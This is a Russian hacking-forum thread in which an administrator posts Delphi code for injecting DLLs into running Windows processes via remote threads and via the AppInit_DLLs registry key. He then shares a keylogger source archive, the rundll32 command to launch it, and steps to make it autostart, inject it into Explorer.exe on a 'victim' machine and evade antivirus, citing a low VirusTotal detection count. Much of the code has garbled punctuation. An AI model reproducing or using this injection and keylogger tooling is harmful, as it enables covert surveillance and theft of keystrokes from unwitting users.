Простой метод внедрения DLL, делаем свой Simple Dll Injection

Тема в разделе "СТАТЬИ И УРОКИ ПО ВЗЛОМУ И ОБХОДУ ЗАЩИТЫ", создана пользователем X-Shar, 9 мар 2014.

↑ ↓
  1. X-Shar :)
    X-Shar
    Ответить в чате

    Администрация

    Регистрация:
    03.06.2012
    Сообщения:
    5.813
    Симпатии:
    433
    Пол:
    Мужской
    Репа:
    +969 / 153 / -29
    Jabber:
    Telegram:
    Вот пример простенького внедрения своей дллки в доверенный процесс ! My mind

    Обычно для внедрения динамических библиотек в адресное пространство процесса применяют три способа:

    1)Внедрение в третьем кольце:
    2)Внедрение с помощью реестра

    3)С помощью удалённых потоков и глобальных ловушек (hooks).

    Рассмотрим внедрение DLL с помощью удаленных потоков, являющимся гибким и сравнительно простым способом.

    Суть данного способа заключается в создании потока загружающего необходимую библиотеку в адресное пространство выбранного процесса. При этом на момент внедрения DLL, целевой процесс должен функционировать в системе и должен быть открыт с правами на создание удаленных потоков и записи в собственное адресное пространство.

    Сразу приступим к разбору кода.

    Код будет на Делфи:

    Функция осуществляющая внедрение библиотеки:
    Код:
    procedure InjectDll(TargetIdCardinalDllNamePAnsichar);
    var
     
      
    BytesWrite    :cardinal;
      
    ParamAddr     pointer;
      
    pThreadStart  pointer;
      
    Hdl          cardinal;
      
    hThread      cardinal;
      
    hRemoteThread Cardinal;
     
    begin
      
    // Устанавливаем отладочные привилегии для выбранного процесса, т.к. без данных
      // привилегий код внедрения работать не будет
      
    ChangePrivilege('SeDebugPrivilege'True);
     
      
    // Открываем существующий объект процесса
      
    Hdl := OpenProcess(PROCESS_ALL_ACCESSfalseTargetId);
     
      
    // Выделяем память под структуру, которая передается нашей функции, под параметры, которые передаются функции
      
    ParamAddr := VirtualAllocEx(HdlnilLength(DllName), MEM_COMMIT or MEM_RESERVE,PAGE_EXECUTE_READWRITE);
     
      
    // Пишем саму структуру
      
    WriteProcessMemory(Hdl,  ParamAddrPAnsichar(DllName), Length(DllName), BytesWrite);
      
    pThreadStart := GetProcAddress(GetModuleHandle('KERNEL32.DLL'), PAnsiChar('LoadLibraryA'));
     
      
    // Запускаем удаленный поток
      
    hThread  := CreateRemoteThread(Hdlnil0pThreadStartParamAddr0,hRemoteThread);
     
      
    // Ждем пока удаленный поток отработает...
      
    WaitForSingleObject(hThreadINFINITE);
      
    Closehandle(hThread);
     
    end;

    Функция получения идентификатора процесса по указанному имени исполняемого файла:

    Код:
    function GetProcessID(ProcessName string ) : DWORD ;
     
    var
     
      
    Handle      :tHandle;
      
    Process      :tProcessEntry32;
      
    GotProcess :Boolean;
     
    begin
     
      Handle
    :=CreateToolHelp32SnapShot(TH32CS_SNAPALL,0) ;
      
    Process.dwSize:=SizeOf(Process);
      
    GotProcess := Process32First(Handle,Process);
     
      if 
    GotProcess and (Process.szExeFile<>ProcessNamethen
     
          repeat
     
          GotProcess 
    := Process32Next(Handle,Process);
          
    until (not GotProcess) or (Process.szExeFile=ProcessName);
      if 
    GotProcess then Result := Process.th32ProcessID
         
    else Result := 0;
             
    CloseHandle(Handle);
    end;
    Функция установки отладочных привилегий:
    Код:
    procedure ChangePrivilege(szPrivilegePCharfEnableBoolean);
     
    var
     
      
    NewStateTTokenPrivileges;
      
    luidTLargeInteger;
      
    hTokenTHandle;
      
    ReturnLengthDWord;
     
    begin
     
      OpenProcessToken
    (GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGEShToken);
      
    LookupPrivilegeValue(nilszPrivilegeluid);
      
    NewState.PrivilegeCount := 1;
      
    NewState.Privileges[0].Luid := luid;
      if (
    fEnablethen
         NewState
    .Privileges[0].Attributes := SE_PRIVILEGE_ENABLED
      
    else
         
    NewState.Privileges[0].Attributes := 0;
      
    AdjustTokenPrivileges(hTokenFalseNewStateSizeOf(NewState), nilRe-turnLength);
      
    CloseHandle(hToken);
    end;
    Процедура непосредственного внедрения библиотеки:
    Код:
    procedure Inject;
     
    var
      
    pIDcardinal;
     
    Begin
     
      
    // определяем ProcessId по указанному имени исполняемого файла
      
    pID := GetProcessID('Game.exe');
      
    // вызываем функцию внедрения библиотеки dllToInject.dll в процесс с pID
      
    InjectDll(pID,'dllToInject.dll');
     
    end;
    Эта процедура основная, остальные вспомагательные....
     
    • Мне нравится Мне нравится x 4
  2. X-Shar :)
    X-Shar
    Ответить в чате

    Администрация

    Регистрация:
    03.06.2012
    Сообщения:
    5.813
    Симпатии:
    433
    Пол:
    Мужской
    Репа:
    +969 / 153 / -29
    Jabber:
    Telegram:
    Внедряем свой длл, с помощью реестра:

    Данный способ работает только в Windows NT (2000, XP, 2003, etc.). При загрузке любого приложения, использующего user32.dll, а таких абсолютное большинство, все DLL, перечисленные в ключе реестра HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs, загружаются в адресное пространство этого приложения. Например, следующая простенькая программа пропишет нашу тестовую dll в нужном ключе реестра.

    Код:
    program LoadDLLviaRegistry;
    uses Windows;
    const 
    my_dll 'showme.dll';
    var 
    regHKEY;
    statusinteger;
    svalPChar;
    curr_val: array[0..255of char;
    curr_lencurr_typedword;
    begin
    status
    := RegOpenKeyEx(HKEY_LOCAL_MACHINE'Software\Microsoft\Windows NT\CurrentVersion\Windows'0KEY_ALL_ACCESSreg);
    if (
    status ERROR_SUCCESSthen
    begin
    sval
    :=my_dll;
    curr_len:=255;
    RegQueryValueEx(reg'AppInit_DLLs'nil, @curr_type, @curr_val, @curr_len);
    curr_val[curr_len]:=#0;
    if (curr_val[0]<>#0)and(curr_val<>my_dll) then
    sval:=PChar(sval+' '+curr_val);
    RegSetValueEx(reg'AppInit_DLLs'0REG_SZsvalLength(sval));
    end;
    end.
    После запуска этой программы все приложения, использующие user32.dll, получат заодно и нашу dll в своё адресное пространство. После перезагрузки код помещённый в ShowMe.dll сможет выполняться даже от системной учётной записи. Однако этот способ самый простой не только в реализации, но и в обнаружении, поэтому воспользоваться им в реальных задачах проблематично.
     
    • Мне нравится Мне нравится x 4
  3. X-Shar :)
    X-Shar
    Ответить в чате

    Администрация

    Регистрация:
    03.06.2012
    Сообщения:
    5.813
    Симпатии:
    433
    Пол:
    Мужской
    Репа:
    +969 / 153 / -29
    Jabber:
    Telegram:
    Внедрения DLL в адресное пространство процесса в режиме пользователя (в 3-ем кольце):

    Для демонстрации внедрения используем простенькую библиотеку ShowMe.dll, которая при каждой загрузке будет делать запись в скрытый, «системный», текстовый файл C:\Temp\Inject.dll

    Код:
    library ShowMe;
    uses Windows;
    function 
    IntToStr(valdword): string;
    begin
    Str
    (valresult);
    end;
    procedure WriteLabelInFile();
    var 
    fHbwrdword;
    textpchar;
    begin
    text
    := PChar('Our DLL is now loaded in process:'#13+
    'PID = '+IntToStr(GetCurrentProcessId)+#13+ParamStr(0)+
    #13'------------------------------------------------'#13);
    fH:=CreateFile('C:\Temp\Inject.dll'GENERIC_READ or
    GENERIC_WRITE0nilOPEN_ALWAYS,
    FILE_ATTRIBUTE_SYSTEM or FILE_ATTRIBUTE_HIDDEN0);
    SetFilePointer(fH0nilFILE_END);
    WriteFile(fHpointer(text)^, Length(text), bwrnil);
    CloseHandle(fH);
    end;
     
    begin
    try
    WriteLabelInFile();
    except end;
    end.
     
    • Мне нравится Мне нравится x 4
  4. X-Shar :)
    X-Shar
    Ответить в чате

    Администрация

    Регистрация:
    03.06.2012
    Сообщения:
    5.813
    Симпатии:
    433
    Пол:
    Мужской
    Репа:
    +969 / 153 / -29
    Jabber:
    Telegram:
    А-А-А, чуть не забыл, вот исходник кейлоггера на делфи, который использует эти механизмы !

    Для ознакомления !

    Пароль:111
     

    Вложения:

    • Мне нравится Мне нравится x 4
  5. X-Shar :)
    X-Shar
    Ответить в чате

    Администрация

    Регистрация:
    03.06.2012
    Сообщения:
    5.813
    Симпатии:
    433
    Пол:
    Мужской
    Репа:
    +969 / 153 / -29
    Jabber:
    Telegram:
    Да блин головотяпство, всё тороплюсь, но новичкам может-быть нехуя, извините не понятно, решил по нормальному всё выложить без понтов...

    Короче, кто будет исходник смотреть, он нормальный рабочий, исходник генерит библиотеки длл, там и находится наш кейлоггер, теперь как юзать, тут два варианта:

    1)В командной строке выполните:
    Код:
    rundll32 ntserv.dll,Run 
    2)Вызовите из своей программы процедуру Run из ntserv.dll !

    Как вызвать процедуру из длл-ки, курим эту статью:http://sources.ru/magazine/0804/delphidll.html

    В архиве четыре способа реализации кейлоггера...


    УРАА, ТЕПЕРЬ ВРОДЕ ВСЁ !:utenok: :Mem27:
     
    • Мне нравится Мне нравится x 4
  6. X-Shar :)
    X-Shar
    Ответить в чате

    Администрация

    Регистрация:
    03.06.2012
    Сообщения:
    5.813
    Симпатии:
    433
    Пол:
    Мужской
    Репа:
    +969 / 153 / -29
    Jabber:
    Telegram:
    Что-то после бутылки водки никак успокоится не могу, про-то как этим способом можно обойти почти все антивирусы:

    Вот немного модифицируете дллку ntserv.dll, дописав в конец:
    Код:
    begin
      
    try
        
    Run();
      
    except end;
    end.
    Т.е. запуск кейлоггера, сразу после загрузки...

    Далее смотрите первый способ и внедряете например в Explorer.exe, ну либо в какой процесс, что-бы он запущен только был...

    Можно вначале запустить например Блокнот или что по серъёзней какую программу с системными привелегиями и потом уже внедрить наш вирус...

    Вроде работает, важно только чтобы процесс был запущен у жертвы, иначе не получится !

    Вот ссылка VT на кейлоггер:

    https://www.virustotal.com/ru/file/ac01c17e0d0643783d2186f55e82f133e80ee00eba82b381e952f699f2a6bcf2/analysis/1394387392/

    Обнаруживают всего три АВ:

    AntiVir HEUR/Malware
    Ikarus Trojan.Win32.Ransom
    VIPRE BehavesLike.Win32.Malware.klt (mx-v)
     
    • Мне нравится Мне нравится x 4
  7. Script17 Пользователь
    Script17
    Ответить в чате

    Первый уровень

    Регистрация:
    25.05.2014
    Сообщения:
    3
    Симпатии:
    0
    Пол:
    Мужской
    Репа:
    +0 / 0 / -0
    Помогите для ознакомления разобраться как сделать proxy dll к оригинальной dll-ке. Задача перехватить окно и эмулировать нажатие кнопки Ок. С чего начать какой софт для этого юзают?
     
  8. X-Shar :)
    X-Shar
    Ответить в чате

    Администрация

    Регистрация:
    03.06.2012
    Сообщения:
    5.813
    Симпатии:
    433
    Пол:
    Мужской
    Репа:
    +969 / 153 / -29
    Jabber:
    Telegram:
    Посмотри исходник кейлоггера в посте №4 он правда на делфи, но показан пример создания такой длл-ки, кстати такую штуку палили всего два авера, по мойму авира и нод, сейчас не знаю сколько палят уже...
     
    • Мне нравится Мне нравится x 1
  9. denis7656 The Dark Side
    denis7656
    Ответить в чате

    Форумчанин

    Регистрация:
    25.06.2014
    Сообщения:
    80
    Симпатии:
    196
    Пол:
    Мужской
    Репа:
    +198 / 0 / -1
    ребят, не забывайте, за эти хуки, вернее штуки, ребята в форме могут поставить хуки на все ваши действия.
    А так, все три метода расписал. Правда забыл указать первоисточник.
    vr-online.ru
    Даже журнал хакер оттуда статьи подворовывает, но про авторство не забывает.
    http://www.vr-online.ru/content/vnedrenie-dll-v-chuzhoe-adresnoe-prostranstvo-950
     
    • Мне нравится Мне нравится x 2
  10. denis7656 The Dark Side
    denis7656
    Ответить в чате

    Форумчанин

    Регистрация:
    25.06.2014
    Сообщения:
    80
    Симпатии:
    196
    Пол:
    Мужской
    Репа:
    +198 / 0 / -1
    Посмотри что эта длл делает, проснифай все запросы проходящие через нее. А если нужно че-то где-то в чужом окне нажать - используй API.
     
    • Мне нравится Мне нравится x 2

Поделиться этой страницей